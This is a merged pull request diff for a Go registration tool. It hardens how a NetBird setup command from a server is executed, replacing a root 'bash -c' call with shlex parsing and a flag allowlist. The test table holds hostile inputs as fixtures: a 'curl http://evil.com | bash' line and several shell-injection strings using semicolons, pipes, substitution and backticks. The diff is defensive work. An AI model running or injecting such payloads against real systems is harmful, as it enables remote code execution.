Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -123,7 +123,7 @@ require (
github.com/golang/protobuf v1.5.4 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/gofuzz v1.2.0 // indirect
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/imdario/mergo v0.3.13 // indirect
Expand Down
37 changes: 32 additions & 5 deletions pkg/cmd/register/netbird.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@ import (
"fmt"
"os/exec"
"strings"

"github.com/google/shlex"
)

// InstallNetbird installs NetBird if it is not already present.
Expand All @@ -22,19 +24,44 @@ func InstallNetbird() error {
}

// runSetupCommand executes the setup command returned by the AddNode RPC.
// It validates that the command starts with "netbird up" as a basic guard
// against unexpected server responses.
// Only supported registration arguments are passed to NetBird, without a shell.
func runSetupCommand(script string) error {
if !strings.HasPrefix(strings.TrimSpace(script), "netbird up") {
return fmt.Errorf("unexpected setup command")
cmd, err := setupCommand(script)
if err != nil {
return err
}
cmd := exec.Command("sudo", "bash", "-c", script) // #nosec G204
if err := cmd.Run(); err != nil {
return fmt.Errorf("setup command failed: %w", err)
}
return nil
}

func setupCommand(script string) (*exec.Cmd, error) {
args, err := shlex.Split(script)
if err != nil || len(args) < 2 || args[0] != "netbird" || args[1] != "up" {
return nil, fmt.Errorf("unexpected setup command")
}
for i := 2; i < len(args); i++ {
flag, value, hasValue := strings.Cut(args[i], "=")
switch flag {
case "--setup-key", "--hostname", "--management-url":
default:
return nil, fmt.Errorf("unexpected setup command")
}
if !hasValue {
i++
if i >= len(args) {
return nil, fmt.Errorf("unexpected setup command")
}
value = args[i]
}
if value == "" || strings.HasPrefix(value, "-") {
return nil, fmt.Errorf("unexpected setup command")
}
}
return exec.Command("sudo", append([]string{"netbird", "up"}, args[2:]...)...), nil // #nosec G204 -- fixed executable and allowlisted arguments; no shell
}

// UninstallNetbird stops, uninstalls the service, and removes the NetBird
// package or binary. It reads /etc/netbird/install.conf (written by the
// install script) to determine the original installation method.
Expand Down
31 changes: 30 additions & 1 deletion pkg/cmd/register/register_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import (
"errors"
"fmt"
"net/http/httptest"
"reflect"
"strings"
"testing"

Expand Down Expand Up @@ -570,11 +571,28 @@ func Test_runSetupCommand_Validation(t *testing.T) {
{"RejectsNonNetbirdUp", "curl http://evil.com | bash", true},
{"AcceptsNetbirdUp", "netbird up --setup-key abc123", false},
{"AcceptsLeadingWhitespace", " netbird up --setup-key abc123", false},
{"AcceptsQuotedAndEqualsFlags", `netbird up --setup-key="abc123" --hostname 'client-123' --management-url=https://netbird.example.com`, false},
{"RejectsPrefixMatch", "netbird upgrade", true},
{"RejectsSemicolon", "netbird up --setup-key abc123; touch /tmp/injected", true},
{"RejectsAnd", "netbird up --setup-key abc123 && touch /tmp/injected", true},
{"RejectsOr", "netbird up --setup-key abc123 || touch /tmp/injected", true},
{"RejectsPipe", "netbird up --setup-key abc123 | sh", true},
{"RejectsNewline", "netbird up --setup-key abc123\ntouch /tmp/injected", true},
{"RejectsSubstitution", "netbird up --setup-key $(touch /tmp/injected)", true},
{"RejectsBackticks", "netbird up --setup-key `touch /tmp/injected`", true},
{"RejectsRedirection", "netbird up --setup-key abc123 >/tmp/injected", true},
{"RejectsUnknownFlag", "netbird up --config /tmp/other", true},
{"RejectsPositionalArgument", "netbird up unexpected", true},
{"RejectsMissingValue", "netbird up --setup-key", true},
{"RejectsEmptyValue", "netbird up --setup-key=", true},
{"RejectsFlagAsValue", "netbird up --setup-key --hostname=client-123", true},
{"RejectsMalformedQuoting", `netbird up --setup-key "abc123`, true},
{"RejectsEmptyCommand", "", true},
}

for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := runSetupCommand(tt.cmd)
_, err := setupCommand(tt.cmd)
rejected := err != nil && strings.Contains(err.Error(), "unexpected setup command")
if tt.expectReject && !rejected {
t.Errorf("expected command to be rejected, but it was not (err=%v)", err)
Expand All @@ -586,6 +604,17 @@ func Test_runSetupCommand_Validation(t *testing.T) {
}
}

func Test_setupCommand_ExecutesNetbirdDirectly(t *testing.T) {
cmd, err := setupCommand(`netbird up --setup-key "abc123" --hostname='$(id);` + "`id`" + `' --management-url 'https://netbird.example.com?a=1&b=2'`)
if err != nil {
t.Fatal(err)
}
want := []string{"sudo", "netbird", "up", "--setup-key", "abc123", "--hostname=$(id);`id`", "--management-url", "https://netbird.example.com?a=1&b=2"}
if !reflect.DeepEqual(cmd.Args, want) {
t.Errorf("command arguments = %q, want %q", cmd.Args, want)
}
}

func Test_netbirdManagementConnected(t *testing.T) {
connectedOutput := `OS: linux/amd64
Daemon version: 0.66.1
Expand Down
Loading